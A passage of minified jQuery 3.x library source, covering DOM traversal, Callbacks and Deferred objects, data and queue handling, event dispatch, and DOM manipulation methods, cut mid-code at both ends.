0!==n;while((e=e[t])&&9!==e.nodeType)if(1===e.nodeType){if(i&&S(e).is(n))break;r.push(e)}return r},T=function(e,t){for(var n=[];e;e=e.nextSibling)1===e.nodeType&&e!==t&&n.push(e);return n},k=S.expr.match.needsContext;function A(e,t){return e.nodeName&&e.nodeName.toLowerCase()===t.toLowerCase()}var N=/^<([a-z][^\/\0>:\x20\t\r\n\f]*)[\x20\t\r\n\f]*\/?>(?:<\/\1>|)$/i;function j(e,n,r){return m(n)?S.grep(e,function(e,t){return!!n.call(e,t,e)!==r}):n.nodeType?S.grep(e,function(e){return e===n!==r}):"string"!=typeof n?S.grep(e,function(e){return-1<i.call(n,e)!==r}):S.filter(n,e,r)}S.filter=function(e,t,n){var r=t[0];return n&&(e=":not("+e+")"),1===t.length&&1===r.nodeType?S.find.matchesSelector(r,e)?[r]:[]:S.find.matches(e,S.grep(t,function(e){return 1===e.nodeType}))},S.fn.extend({find:function(e){var t,n,r=this.length,i=this;if("string"!=typeof e)return this.pushStack(S(e).filter(function(){for(t=0;t<r;t++)if(S.contains(i[t],this))return!0}));for(n=this.pushStack([]),t=0;t<r;t++)S.find(e,i[t],n);return 1<r?S.uniqueSort(n):n},filter:function(e){return this.pushStack(j(this,e||[],!1))},not:function(e){return this.pushStack(j(this,e||[],!0))},is:function(e){return!!j(this,"string"==typeof e&&k.test(e)?S(e):e||[],!1).length}});var D,q=/^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]+))$/;(S.fn.init=function(e,t,n){var r,i;if(!e)return this;if(n=n||D,"string"==typeof e){if(!(r="<"===e[0]&&">"===e[e.length-1]&&3<=e.length?[null,e,null]:q.exec(e))||!r[1]&&t)return!t||t.jquery?(t||n).find(e):this.constructor(t).find(e);if(r[1]){if(t=t instanceof S?t[0]:t,S.merge(this,S.parseHTML(r[1],t&&t.nodeType?t.ownerDocument||t:E,!0)),N.test(r[1])&&S.isPlainObject(t))for(r in t)m(this[r])?this[r](t[r]):this.attr(r,t[r]);return this}return(i=E.getElementById(r[2]))&&(this[0]=i,this.length=1),this}return e.nodeType?(this[0]=e,this.length=1,this):m(e)?void 0!==n.ready?n.ready(e):e(S):S.makeArray(e,this)}).prototype=S.fn,D=S(E);var L=/^(?:parents|prev(?:Until|All))/,H={children:!0,contents:!0,next:!0,prev:!0};function O(e,t){while((e=e[t])&&1!==e.nodeType);return e}S.fn.extend({has:function(e){var t=S(e,this),n=t.length;return this.filter(function(){for(var e=0;e<n;e++)if(S.contains(this,t[e]))return!0})},closest:function(e,t){var n,r=0,i=this.length,o=[],a="string"!=typeof e&&S(e);if(!k.test(e))for(;r<i;r++)for(n=this[r];n&&n!==t;n=n.parentNode)if(n.nodeType<11&&(a?-1<a.index(n):1===n.nodeType&&S.find.matchesSelector(n,e))){o.push(n);break}return this.pushStack(1<o.length?S.uniqueSort(o):o)},index:function(e){return e?"string"==typeof e?i.call(S(e),this[0]):i.call(this,e.jquery?e[0]:e):this[0]&&this[0].parentNode?this.first().prevAll().length:-1},add:function(e,t){return this.pushStack(S.uniqueSort(S.merge(this.get(),S(e,t))))},addBack:function(e){return this.add(null==e?this.prevObject:this.prevObject.filter(e))}}),S.each({parent:function(e){var t=e.parentNode;return t&&11!==t.nodeType?t:null},parents:function(e){return h(e,"parentNode")},parentsUntil:function(e,t,n){return h(e,"parentNode",n)},next:function(e){return O(e,"nextSibling")},prev:function(e){return O(e,"previousSibling")},nextAll:function(e){return h(e,"nextSibling")},prevAll:function(e){return h(e,"previousSibling")},nextUntil:function(e,t,n){return h(e,"nextSibling",n)},prevUntil:function(e,t,n){return h(e,"previousSibling",n)},siblings:function(e){return T((e.parentNode||{}).firstChild,e)},children:function(e){return T(e.firstChild)},contents:function(e){return null!=e.contentDocument&&r(e.contentDocument)?e.contentDocument:(A(e,"template")&&(e=e.content||e),S.merge([],e.childNodes))}},function(r,i){S.fn[r]=function(e,t){var n=S.map(this,i,e);return"Until"!==r.slice(-5)&&(t=e),t&&"string"==typeof t&&(n=S.filter(t,n)),1<this.length&&(H[r]||S.uniqueSort(n),L.test(r)&&n.reverse()),this.pushStack(n)}});var P=/[^\x20\t\r\n\f]+/g;function R(e){return e}function M(e){throw e}function I(e,t,n,r){var i;try{e&&m(i=e.promise)?i.call(e).done(t).fail(n):e&&m(i=e.then)?i.call(e,t,n):t.apply(void 0,[e].slice(r))}catch(e){n.apply(void 0,[e])}}S.Callbacks=function(r){var e,n;r="string"==typeof r?(e=r,n={},S.each(e.match(P)||[],function(e,t){n[t]=!0}),n):S.extend({},r);var i,t,o,a,s=[],u=[],l=-1,c=function(){for(a=a||r.once,o=i=!0;u.length;l=-1){t=u.shift();while(++l<s.length)!1===s[l].apply(t[0],t[1])&&r.stopOnFalse&&(l=s.length,t=!1)}r.memory||(t=!1),i=!1,a&&(s=t?[]:"")},f={add:function(){return s&&(t&&!i&&(l=s.length-1,u.push(t)),function n(e){S.each(e,function(e,t){m(t)?r.unique&&f.has(t)||s.push(t):t&&t.length&&"string"!==w(t)&&n(t)})}(arguments),t&&!i&&c()),this},remove:function(){return S.each(arguments,function(e,t){var n;while(-1<(n=S.inArray(t,s,n)))s.splice(n,1),n<=l&&l--}),this},has:function(e){return e?-1<S.inArray(e,s):0<s.length},empty:function(){return s&&(s=[]),this},disable:function(){return a=u=[],s=t="",this},disabled:function(){return!s},lock:function(){return a=u=[],t||i||(s=t=""),this},locked:function(){return!!a},fireWith:function(e,t){return a||(t=[e,(t=t||[]).slice?t.slice():t],u.push(t),i||c()),this},fire:function(){return f.fireWith(this,arguments),this},fired:function(){return!!o}};return f},S.extend({Deferred:function(e){var o=[["notify","progress",S.Callbacks("memory"),S.Callbacks("memory"),2],["resolve","done",S.Callbacks("once memory"),S.Callbacks("once memory"),0,"resolved"],["reject","fail",S.Callbacks("once memory"),S.Callbacks("once memory"),1,"rejected"]],i="pending",a={state:function(){return i},always:function(){return s.done(arguments).fail(arguments),this},"catch":function(e){return a.then(null,e)},pipe:function(){var i=arguments;return S.Deferred(function(r){S.each(o,function(e,t){var n=m(i[t[4]])&&i[t[4]];s[t[1]](function(){var e=n&&n.apply(this,arguments);e&&m(e.promise)?e.promise().progress(r.notify).done(r.resolve).fail(r.reject):r[t[0]+"With"](this,n?[e]:arguments)})}),i=null}).promise()},then:function(t,n,r){var u=0;function l(i,o,a,s){return function(){var n=this,r=arguments,e=function(){var e,t;if(!(i<u)){if((e=a.apply(n,r))===o.promise())throw new TypeError("Thenable self-resolution");t=e&&("object"==typeof e||"function"==typeof e)&&e.then,m(t)?s?t.call(e,l(u,o,R,s),l(u,o,M,s)):(u++,t.call(e,l(u,o,R,s),l(u,o,M,s),l(u,o,R,o.notifyWith))):(a!==R&&(n=void 0,r=[e]),(s||o.resolveWith)(n,r))}},t=s?e:function(){try{e()}catch(e){S.Deferred.exceptionHook&&S.Deferred.exceptionHook(e,t.stackTrace),u<=i+1&&(a!==M&&(n=void 0,r=[e]),o.rejectWith(n,r))}};i?t():(S.Deferred.getStackHook&&(t.stackTrace=S.Deferred.getStackHook()),C.setTimeout(t))}}return S.Deferred(function(e){o[0][3].add(l(0,e,m(r)?r:R,e.notifyWith)),o[1][3].add(l(0,e,m(t)?t:R)),o[2][3].add(l(0,e,m(n)?n:M))}).promise()},promise:function(e){return null!=e?S.extend(e,a):a}},s={};return S.each(o,function(e,t){var n=t[2],r=t[5];a[t[1]]=n.add,r&&n.add(function(){i=r},o[3-e][2].disable,o[3-e][3].disable,o[0][2].lock,o[0][3].lock),n.add(t[3].fire),s[t[0]]=function(){return s[t[0]+"With"](this===s?void 0:this,arguments),this},s[t[0]+"With"]=n.fireWith}),a.promise(s),e&&e.call(s,s),s},when:function(e){var n=arguments.length,t=n,r=Array(t),i=s.call(arguments),o=S.Deferred(),a=function(t){return function(e){r[t]=this,i[t]=1<arguments.length?s.call(arguments):e,--n||o.resolveWith(r,i)}};if(n<=1&&(I(e,o.done(a(t)).resolve,o.reject,!n),"pending"===o.state()||m(i[t]&&i[t].then)))return o.then();while(t--)I(i[t],a(t),o.reject);return o.promise()}});var W=/^(Eval|Internal|Range|Reference|Syntax|Type|URI)Error$/;S.Deferred.exceptionHook=function(e,t){C.console&&C.console.warn&&e&&W.test(e.name)&&C.console.warn("jQuery.Deferred exception: "+e.message,e.stack,t)},S.readyException=function(e){C.setTimeout(function(){throw e})};var F=S.Deferred();function B(){E.removeEventListener("DOMContentLoaded",B),C.removeEventListener("load",B),S.ready()}S.fn.ready=function(e){return F.then(e)["catch"](function(e){S.readyException(e)}),this},S.extend({isReady:!1,readyWait:1,ready:function(e){(!0===e?--S.readyWait:S.isReady)||(S.isReady=!0)!==e&&0<--S.readyWait||F.resolveWith(E,[S])}}),S.ready.then=F.then,"complete"===E.readyState||"loading"!==E.readyState&&!E.documentElement.doScroll?C.setTimeout(S.ready):(E.addEventListener("DOMContentLoaded",B),C.addEventListener("load",B));var $=function(e,t,n,r,i,o,a){var s=0,u=e.length,l=null==n;if("object"===w(n))for(s in i=!0,n)$(e,t,s,n[s],!0,o,a);else if(void 0!==r&&(i=!0,m(r)||(a=!0),l&&(a?(t.call(e,r),t=null):(l=t,t=function(e,t,n){return l.call(S(e),n)})),t))for(;s<u;s++)t(e[s],n,a?r:r.call(e[s],s,t(e[s],n)));return i?e:l?t.call(e):u?t(e[0],n):o},_=/^-ms-/,z=/-([a-z])/g;function U(e,t){return t.toUpperCase()}function X(e){return e.replace(_,"ms-").replace(z,U)}var V=function(e){return 1===e.nodeType||9===e.nodeType||!+e.nodeType};function G(){this.expando=S.expando+G.uid++}G.uid=1,G.prototype={cache:function(e){var t=e[this.expando];return t||(t={},V(e)&&(e.nodeType?e[this.expando]=t:Object.defineProperty(e,this.expando,{value:t,configurable:!0}))),t},set:function(e,t,n){var r,i=this.cache(e);if("string"==typeof t)i[X(t)]=n;else for(r in t)i[X(r)]=t[r];return i},get:function(e,t){return void 0===t?this.cache(e):e[this.expando]&&e[this.expando][X(t)]},access:function(e,t,n){return void 0===t||t&&"string"==typeof t&&void 0===n?this.get(e,t):(this.set(e,t,n),void 0!==n?n:t)},remove:function(e,t){var n,r=e[this.expando];if(void 0!==r){if(void 0!==t){n=(t=Array.isArray(t)?t.map(X):(t=X(t))in r?[t]:t.match(P)||[]).length;while(n--)delete r[t[n]]}(void 0===t||S.isEmptyObject(r))&&(e.nodeType?e[this.expando]=void 0:delete e[this.expando])}},hasData:function(e){var t=e[this.expando];return void 0!==t&&!S.isEmptyObject(t)}};var Y=new G,Q=new G,J=/^(?:\{[\w\W]*\}|\[[\w\W]*\])$/,K=/[A-Z]/g;function Z(e,t,n){var r,i;if(void 0===n&&1===e.nodeType)if(r="data-"+t.replace(K,"-$&").toLowerCase(),"string"==typeof(n=e.getAttribute(r))){try{n="true"===(i=n)||"false"!==i&&("null"===i?null:i===+i+""?+i:J.test(i)?JSON.parse(i):i)}catch(e){}Q.set(e,t,n)}else n=void 0;return n}S.extend({hasData:function(e){return Q.hasData(e)||Y.hasData(e)},data:function(e,t,n){return Q.access(e,t,n)},removeData:function(e,t){Q.remove(e,t)},_data:function(e,t,n){return Y.access(e,t,n)},_removeData:function(e,t){Y.remove(e,t)}}),S.fn.extend({data:function(n,e){var t,r,i,o=this[0],a=o&&o.attributes;if(void 0===n){if(this.length&&(i=Q.get(o),1===o.nodeType&&!Y.get(o,"hasDataAttrs"))){t=a.length;while(t--)a[t]&&0===(r=a[t].name).indexOf("data-")&&(r=X(r.slice(5)),Z(o,r,i[r]));Y.set(o,"hasDataAttrs",!0)}return i}return"object"==typeof n?this.each(function(){Q.set(this,n)}):$(this,function(e){var t;if(o&&void 0===e)return void 0!==(t=Q.get(o,n))?t:void 0!==(t=Z(o,n))?t:void 0;this.each(function(){Q.set(this,n,e)})},null,e,1<arguments.length,null,!0)},removeData:function(e){return this.each(function(){Q.remove(this,e)})}}),S.extend({queue:function(e,t,n){var r;if(e)return t=(t||"fx")+"queue",r=Y.get(e,t),n&&(!r||Array.isArray(n)?r=Y.access(e,t,S.makeArray(n)):r.push(n)),r||[]},dequeue:function(e,t){t=t||"fx";var n=S.queue(e,t),r=n.length,i=n.shift(),o=S._queueHooks(e,t);"inprogress"===i&&(i=n.shift(),r--),i&&("fx"===t&&n.unshift("inprogress"),delete o.stop,i.call(e,function(){S.dequeue(e,t)},o)),!r&&o&&o.empty.fire()},_queueHooks:function(e,t){var n=t+"queueHooks";return Y.get(e,n)||Y.access(e,n,{empty:S.Callbacks("once memory").add(function(){Y.remove(e,[t+"queue",n])})})}}),S.fn.extend({queue:function(t,n){var e=2;return"string"!=typeof t&&(n=t,t="fx",e--),arguments.length<e?S.queue(this[0],t):void 0===n?this:this.each(function(){var e=S.queue(this,t,n);S._queueHooks(this,t),"fx"===t&&"inprogress"!==e[0]&&S.dequeue(this,t)})},dequeue:function(e){return this.each(function(){S.dequeue(this,e)})},clearQueue:function(e){return this.queue(e||"fx",[])},promise:function(e,t){var n,r=1,i=S.Deferred(),o=this,a=this.length,s=function(){--r||i.resolveWith(o,[o])};"string"!=typeof e&&(t=e,e=void 0),e=e||"fx";while(a--)(n=Y.get(o[a],e+"queueHooks"))&&n.empty&&(r++,n.empty.add(s));return s(),i.promise(t)}});var ee=/[+-]?(?:\d*\.|)\d+(?:[eE][+-]?\d+|)/.source,te=new RegExp("^(?:([+-])=|)("+ee+")([a-z%]*)$","i"),ne=["Top","Right","Bottom","Left"],re=E.documentElement,ie=function(e){return S.contains(e.ownerDocument,e)},oe={composed:!0};re.getRootNode&&(ie=function(e){return S.contains(e.ownerDocument,e)||e.getRootNode(oe)===e.ownerDocument});var ae=function(e,t){return"none"===(e=t||e).style.display||""===e.style.display&&ie(e)&&"none"===S.css(e,"display")};function se(e,t,n,r){var i,o,a=20,s=r?function(){return r.cur()}:function(){return S.css(e,t,"")},u=s(),l=n&&n[3]||(S.cssNumber[t]?"":"px"),c=e.nodeType&&(S.cssNumber[t]||"px"!==l&&+u)&&te.exec(S.css(e,t));if(c&&c[3]!==l){u/=2,l=l||c[3],c=+u||1;while(a--)S.style(e,t,c+l),(1-o)*(1-(o=s()/u||.5))<=0&&(a=0),c/=o;c*=2,S.style(e,t,c+l),n=n||[]}return n&&(c=+c||+u||0,i=n[1]?c+(n[1]+1)*n[2]:+n[2],r&&(r.unit=l,r.start=c,r.end=i)),i}var ue={};function le(e,t){for(var n,r,i,o,a,s,u,l=[],c=0,f=e.length;c<f;c++)(r=e[c]).style&&(n=r.style.display,t?("none"===n&&(l[c]=Y.get(r,"display")||null,l[c]||(r.style.display="")),""===r.style.display&&ae(r)&&(l[c]=(u=a=o=void 0,a=(i=r).ownerDocument,s=i.nodeName,(u=ue[s])||(o=a.body.appendChild(a.createElement(s)),u=S.css(o,"display"),o.parentNode.removeChild(o),"none"===u&&(u="block"),ue[s]=u)))):"none"!==n&&(l[c]="none",Y.set(r,"display",n)));for(c=0;c<f;c++)null!=l[c]&&(e[c].style.display=l[c]);return e}S.fn.extend({show:function(){return le(this,!0)},hide:function(){return le(this)},toggle:function(e){return"boolean"==typeof e?e?this.show():this.hide():this.each(function(){ae(this)?S(this).show():S(this).hide()})}});var ce,fe,pe=/^(?:checkbox|radio)$/i,de=/<([a-z][^\/\0>\x20\t\r\n\f]*)/i,he=/^$|^module$|\/(?:java|ecma)script/i;ce=E.createDocumentFragment().appendChild(E.createElement("div")),(fe=E.createElement("input")).setAttribute("type","radio"),fe.setAttribute("checked","checked"),fe.setAttribute("name","t"),ce.appendChild(fe),y.checkClone=ce.cloneNode(!0).cloneNode(!0).lastChild.checked,ce.innerHTML="<textarea>x</textarea>",y.noCloneChecked=!!ce.cloneNode(!0).lastChild.defaultValue,ce.innerHTML="<option></option>",y.option=!!ce.lastChild;var ge={thead:[1,"<table>","</table>"],col:[2,"<table><colgroup>","</colgroup></table>"],tr:[2,"<table><tbody>","</tbody></table>"],td:[3,"<table><tbody><tr>","</tr></tbody></table>"],_default:[0,"",""]};function ve(e,t){var n;return n="undefined"!=typeof e.getElementsByTagName?e.getElementsByTagName(t||"*"):"undefined"!=typeof e.querySelectorAll?e.querySelectorAll(t||"*"):[],void 0===t||t&&A(e,t)?S.merge([e],n):n}function ye(e,t){for(var n=0,r=e.length;n<r;n++)Y.set(e[n],"globalEval",!t||Y.get(t[n],"globalEval"))}ge.tbody=ge.tfoot=ge.colgroup=ge.caption=ge.thead,ge.th=ge.td,y.option||(ge.optgroup=ge.option=[1,"<select multiple='multiple'>","</select>"]);var me=/<|&#?\w+;/;function xe(e,t,n,r,i){for(var o,a,s,u,l,c,f=t.createDocumentFragment(),p=[],d=0,h=e.length;d<h;d++)if((o=e[d])||0===o)if("object"===w(o))S.merge(p,o.nodeType?[o]:o);else if(me.test(o)){a=a||f.appendChild(t.createElement("div")),s=(de.exec(o)||["",""])[1].toLowerCase(),u=ge[s]||ge._default,a.innerHTML=u[1]+S.htmlPrefilter(o)+u[2],c=u[0];while(c--)a=a.lastChild;S.merge(p,a.childNodes),(a=f.firstChild).textContent=""}else p.push(t.createTextNode(o));f.textContent="",d=0;while(o=p[d++])if(r&&-1<S.inArray(o,r))i&&i.push(o);else if(l=ie(o),a=ve(f.appendChild(o),"script"),l&&ye(a),n){c=0;while(o=a[c++])he.test(o.type||"")&&n.push(o)}return f}var be=/^([^.]*)(?:\.(.+)|)/;function we(){return!0}function Te(){return!1}function Ce(e,t){return e===function(){try{return E.activeElement}catch(e){}}()==("focus"===t)}function Ee(e,t,n,r,i,o){var a,s;if("object"==typeof t){for(s in"string"!=typeof n&&(r=r||n,n=void 0),t)Ee(e,s,n,r,t[s],o);return e}if(null==r&&null==i?(i=n,r=n=void 0):null==i&&("string"==typeof n?(i=r,r=void 0):(i=r,r=n,n=void 0)),!1===i)i=Te;else if(!i)return e;return 1===o&&(a=i,(i=function(e){return S().off(e),a.apply(this,arguments)}).guid=a.guid||(a.guid=S.guid++)),e.each(function(){S.event.add(this,t,i,r,n)})}function Se(e,i,o){o?(Y.set(e,i,!1),S.event.add(e,i,{namespace:!1,handler:function(e){var t,n,r=Y.get(this,i);if(1&e.isTrigger&&this[i]){if(r.length)(S.event.special[i]||{}).delegateType&&e.stopPropagation();else if(r=s.call(arguments),Y.set(this,i,r),t=o(this,i),this[i](),r!==(n=Y.get(this,i))||t?Y.set(this,i,!1):n={},r!==n)return e.stopImmediatePropagation(),e.preventDefault(),n&&n.value}else r.length&&(Y.set(this,i,{value:S.event.trigger(S.extend(r[0],S.Event.prototype),r.slice(1),this)}),e.stopImmediatePropagation())}})):void 0===Y.get(e,i)&&S.event.add(e,i,we)}S.event={global:{},add:function(t,e,n,r,i){var o,a,s,u,l,c,f,p,d,h,g,v=Y.get(t);if(V(t)){n.handler&&(n=(o=n).handler,i=o.selector),i&&S.find.matchesSelector(re,i),n.guid||(n.guid=S.guid++),(u=v.events)||(u=v.events=Object.create(null)),(a=v.handle)||(a=v.handle=function(e){return"undefined"!=typeof S&&S.event.triggered!==e.type?S.event.dispatch.apply(t,arguments):void 0}),l=(e=(e||"").match(P)||[""]).length;while(l--)d=g=(s=be.exec(e[l])||[])[1],h=(s[2]||"").split(".").sort(),d&&(f=S.event.special[d]||{},d=(i?f.delegateType:f.bindType)||d,f=S.event.special[d]||{},c=S.extend({type:d,origType:g,data:r,handler:n,guid:n.guid,selector:i,needsContext:i&&S.expr.match.needsContext.test(i),namespace:h.join(".")},o),(p=u[d])||((p=u[d]=[]).delegateCount=0,f.setup&&!1!==f.setup.call(t,r,h,a)||t.addEventListener&&t.addEventListener(d,a)),f.add&&(f.add.call(t,c),c.handler.guid||(c.handler.guid=n.guid)),i?p.splice(p.delegateCount++,0,c):p.push(c),S.event.global[d]=!0)}},remove:function(e,t,n,r,i){var o,a,s,u,l,c,f,p,d,h,g,v=Y.hasData(e)&&Y.get(e);if(v&&(u=v.events)){l=(t=(t||"").match(P)||[""]).length;while(l--)if(d=g=(s=be.exec(t[l])||[])[1],h=(s[2]||"").split(".").sort(),d){f=S.event.special[d]||{},p=u[d=(r?f.delegateType:f.bindType)||d]||[],s=s[2]&&new RegExp("(^|\\.)"+h.join("\\.(?:.*\\.|)")+"(\\.|$)"),a=o=p.length;while(o--)c=p[o],!i&&g!==c.origType||n&&n.guid!==c.guid||s&&!s.test(c.namespace)||r&&r!==c.selector&&("**"!==r||!c.selector)||(p.splice(o,1),c.selector&&p.delegateCount--,f.remove&&f.remove.call(e,c));a&&!p.length&&(f.teardown&&!1!==f.teardown.call(e,h,v.handle)||S.removeEvent(e,d,v.handle),delete u[d])}else for(d in u)S.event.remove(e,d+t[l],n,r,!0);S.isEmptyObject(u)&&Y.remove(e,"handle events")}},dispatch:function(e){var t,n,r,i,o,a,s=new Array(arguments.length),u=S.event.fix(e),l=(Y.get(this,"events")||Object.create(null))[u.type]||[],c=S.event.special[u.type]||{};for(s[0]=u,t=1;t<arguments.length;t++)s[t]=arguments[t];if(u.delegateTarget=this,!c.preDispatch||!1!==c.preDispatch.call(this,u)){a=S.event.handlers.call(this,u,l),t=0;while((i=a[t++])&&!u.isPropagationStopped()){u.currentTarget=i.elem,n=0;while((o=i.handlers[n++])&&!u.isImmediatePropagationStopped())u.rnamespace&&!1!==o.namespace&&!u.rnamespace.test(o.namespace)||(u.handleObj=o,u.data=o.data,void 0!==(r=((S.event.special[o.origType]||{}).handle||o.handler).apply(i.elem,s))&&!1===(u.result=r)&&(u.preventDefault(),u.stopPropagation()))}return c.postDispatch&&c.postDispatch.call(this,u),u.result}},handlers:function(e,t){var n,r,i,o,a,s=[],u=t.delegateCount,l=e.target;if(u&&l.nodeType&&!("click"===e.type&&1<=e.button))for(;l!==this;l=l.parentNode||this)if(1===l.nodeType&&("click"!==e.type||!0!==l.disabled)){for(o=[],a={},n=0;n<u;n++)void 0===a[i=(r=t[n]).selector+" "]&&(a[i]=r.needsContext?-1<S(i,this).index(l):S.find(i,this,null,[l]).length),a[i]&&o.push(r);o.length&&s.push({elem:l,handlers:o})}return l=this,u<t.length&&s.push({elem:l,handlers:t.slice(u)}),s},addProp:function(t,e){Object.defineProperty(S.Event.prototype,t,{enumerable:!0,configurable:!0,get:m(e)?function(){if(this.originalEvent)return e(this.originalEvent)}:function(){if(this.originalEvent)return this.originalEvent[t]},set:function(e){Object.defineProperty(this,t,{enumerable:!0,configurable:!0,writable:!0,value:e})}})},fix:function(e){return e[S.expando]?e:new S.Event(e)},special:{load:{noBubble:!0},click:{setup:function(e){var t=this||e;return pe.test(t.type)&&t.click&&A(t,"input")&&Se(t,"click",we),!1},trigger:function(e){var t=this||e;return pe.test(t.type)&&t.click&&A(t,"input")&&Se(t,"click"),!0},_default:function(e){var t=e.target;return pe.test(t.type)&&t.click&&A(t,"input")&&Y.get(t,"click")||A(t,"a")}},beforeunload:{postDispatch:function(e){void 0!==e.result&&e.originalEvent&&(e.originalEvent.returnValue=e.result)}}}},S.removeEvent=function(e,t,n){e.removeEventListener&&e.removeEventListener(t,n)},S.Event=function(e,t){if(!(this instanceof S.Event))return new S.Event(e,t);e&&e.type?(this.originalEvent=e,this.type=e.type,this.isDefaultPrevented=e.defaultPrevented||void 0===e.defaultPrevented&&!1===e.returnValue?we:Te,this.target=e.target&&3===e.target.nodeType?e.target.parentNode:e.target,this.currentTarget=e.currentTarget,this.relatedTarget=e.relatedTarget):this.type=e,t&&S.extend(this,t),this.timeStamp=e&&e.timeStamp||Date.now(),this[S.expando]=!0},S.Event.prototype={constructor:S.Event,isDefaultPrevented:Te,isPropagationStopped:Te,isImmediatePropagationStopped:Te,isSimulated:!1,preventDefault:function(){var e=this.originalEvent;this.isDefaultPrevented=we,e&&!this.isSimulated&&e.preventDefault()},stopPropagation:function(){var e=this.originalEvent;this.isPropagationStopped=we,e&&!this.isSimulated&&e.stopPropagation()},stopImmediatePropagation:function(){var e=this.originalEvent;this.isImmediatePropagationStopped=we,e&&!this.isSimulated&&e.stopImmediatePropagation(),this.stopPropagation()}},S.each({altKey:!0,bubbles:!0,cancelable:!0,changedTouches:!0,ctrlKey:!0,detail:!0,eventPhase:!0,metaKey:!0,pageX:!0,pageY:!0,shiftKey:!0,view:!0,"char":!0,code:!0,charCode:!0,key:!0,keyCode:!0,button:!0,buttons:!0,clientX:!0,clientY:!0,offsetX:!0,offsetY:!0,pointerId:!0,pointerType:!0,screenX:!0,screenY:!0,targetTouches:!0,toElement:!0,touches:!0,which:!0},S.event.addProp),S.each({focus:"focusin",blur:"focusout"},function(e,t){S.event.special[e]={setup:function(){return Se(this,e,Ce),!1},trigger:function(){return Se(this,e),!0},_default:function(){return!0},delegateType:t}}),S.each({mouseenter:"mouseover",mouseleave:"mouseout",pointerenter:"pointerover",pointerleave:"pointerout"},function(e,i){S.event.special[e]={delegateType:i,bindType:i,handle:function(e){var t,n=e.relatedTarget,r=e.handleObj;return n&&(n===this||S.contains(this,n))||(e.type=r.origType,t=r.handler.apply(this,arguments),e.type=i),t}}}),S.fn.extend({on:function(e,t,n,r){return Ee(this,e,t,n,r)},one:function(e,t,n,r){return Ee(this,e,t,n,r,1)},off:function(e,t,n){var r,i;if(e&&e.preventDefault&&e.handleObj)return r=e.handleObj,S(e.delegateTarget).off(r.namespace?r.origType+"."+r.namespace:r.origType,r.selector,r.handler),this;if("object"==typeof e){for(i in e)this.off(i,t,e[i]);return this}return!1!==t&&"function"!=typeof t||(n=t,t=void 0),!1===n&&(n=Te),this.each(function(){S.event.remove(this,e,n,t)})}});var ke=/<script|<style|<link/i,Ae=/checked\s*(?:[^=]|=\s*.checked.)/i,Ne=/^\s*<!(?:\[CDATA\[|--)|(?:\]\]|--)>\s*$/g;function je(e,t){return A(e,"table")&&A(11!==t.nodeType?t:t.firstChild,"tr")&&S(e).children("tbody")[0]||e}function De(e){return e.type=(null!==e.getAttribute("type"))+"/"+e.type,e}function qe(e){return"true/"===(e.type||"").slice(0,5)?e.type=e.type.slice(5):e.removeAttribute("type"),e}function Le(e,t){var n,r,i,o,a,s;if(1===t.nodeType){if(Y.hasData(e)&&(s=Y.get(e).events))for(i in Y.remove(t,"handle events"),s)for(n=0,r=s[i].length;n<r;n++)S.event.add(t,i,s[i][n]);Q.hasData(e)&&(o=Q.access(e),a=S.extend({},o),Q.set(t,a))}}function He(n,r,i,o){r=g(r);var e,t,a,s,u,l,c=0,f=n.length,p=f-1,d=r[0],h=m(d);if(h||1<f&&"string"==typeof d&&!y.checkClone&&Ae.test(d))return n.each(function(e){var t=n.eq(e);h&&(r[0]=d.call(this,e,t.html())),He(t,r,i,o)});if(f&&(t=(e=xe(r,n[0].ownerDocument,!1,n,o)).firstChild,1===e.childNodes.length&&(e=t),t||o)){for(s=(a=S.map(ve(e,"script"),De)).length;c<f;c++)u=e,c!==p&&(u=S.clone(u,!0,!0),s&&S.merge(a,ve(u,"script"))),i.call(n[c],u,c);if(s)for(l=a[a.length-1].ownerDocument,S.map(a,qe),c=0;c<s;c++)u=a[c],he.test(u.type||"")&&!Y.access(u,"globalEval")&&S.contains(l,u)&&(u.src&&"module"!==(u.type||"").toLowerCase()?S._evalUrl&&!u.noModule&&S._evalUrl(u.src,{nonce:u.nonce||u.getAttribute("nonce")},l):b(u.textContent.replace(Ne,""),u,l))}return n}function Oe(e,t,n){for(var r,i=t?S.filter(t,e):e,o=0;null!=(r=i[o]);o++)n||1!==r.nodeType||S.cleanData(ve(r)),r.parentNode&&(n&&ie(r)&&ye(ve(r,"script")),r.parentNode.removeChild(r));return e}S.extend({htmlPrefilter:function(e){return e},clone:function(e,t,n){var r,i,o,a,s,u,l,c=e.cloneNode(!0),f=ie(e);if(!(y.noCloneChecked||1!==e.nodeType&&11!==e.nodeType||S.isXMLDoc(e)))for(a=ve(c),r=0,i=(o=ve(e)).length;r<i;r++)s=o[r],u=a[r],void 0,"input"===(l=u.nodeName.toLowerCase())&&pe.test(s.type)?u.checked=s.checked:"input"!==l&&"textarea"!==l||(u.defaultValue=s.defaultValue);if(t)if(n)for(o=o||ve(e),a=a||ve(c),r=0,i=o.length;r<i;r++)Le(o[r],a[r]);else Le(e,c);return 0<(a=ve(c,"script")).length&&ye(a,!f&&ve(e,"script")),c},cleanData:function(e){for(var t,n,r,i=S.event.special,o=0;void 0!==(n=e[o]);o++)if(V(n)){if(t=n[Y.expando]){if(t.events)for(r in t.events)i[r]?S.event.remove(n,r):S.removeEvent(n,r,t.handle);n[Y.expando]=void 0}n[Q.expando]&&(n[Q.expando]=void 0)}}}),S.fn.extend({detach:function(e){return Oe(this,e,!0)},remove:function(e){return Oe(this,e)},text:function(e){return $(this,function(e){return void 0===e?S.text(this):this.empty().each(function(){1!==this.nodeType&&11!==this.nodeType&&9!==this.nodeType||(this.textContent=e)})},null,e,arguments.length)},append:function(){return He(this,arguments,function(e){1!==this.nodeType&&11!==this.nodeType&&9!==this.nodeType||je(this,e).appendChild(e)})},prepend:function(){return He(this,arguments,function(e){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var t=je(this,e);t.insertBefore(e,t.firstChild)}})},before:function(){return He(this,arguments,function(e){this.parentNode&&this.parentNode.insertBefore(e,this)})},after:function(){return He(this,arguments,function(e){this.parentNode&&this.parentNode.insertBefore(e,this.nextSibling)})},empty:function(){for(var e,t=0;null!=(e=this[t]);t++)1===e.nodeType&&(S.cleanData(ve(e,!1)),e.textContent="");return this},clone:function(e,t){return e=null!=e&&e,t=null==t?e:t,this.map(function(){return S.clone(this,e,t)})},html:function(e){return $(this,function(e){var t=this[0]||{},n=0,r=this.length;if(void 0===e&&1===t.nodeType)return t.innerHTML;if("string"==typeof 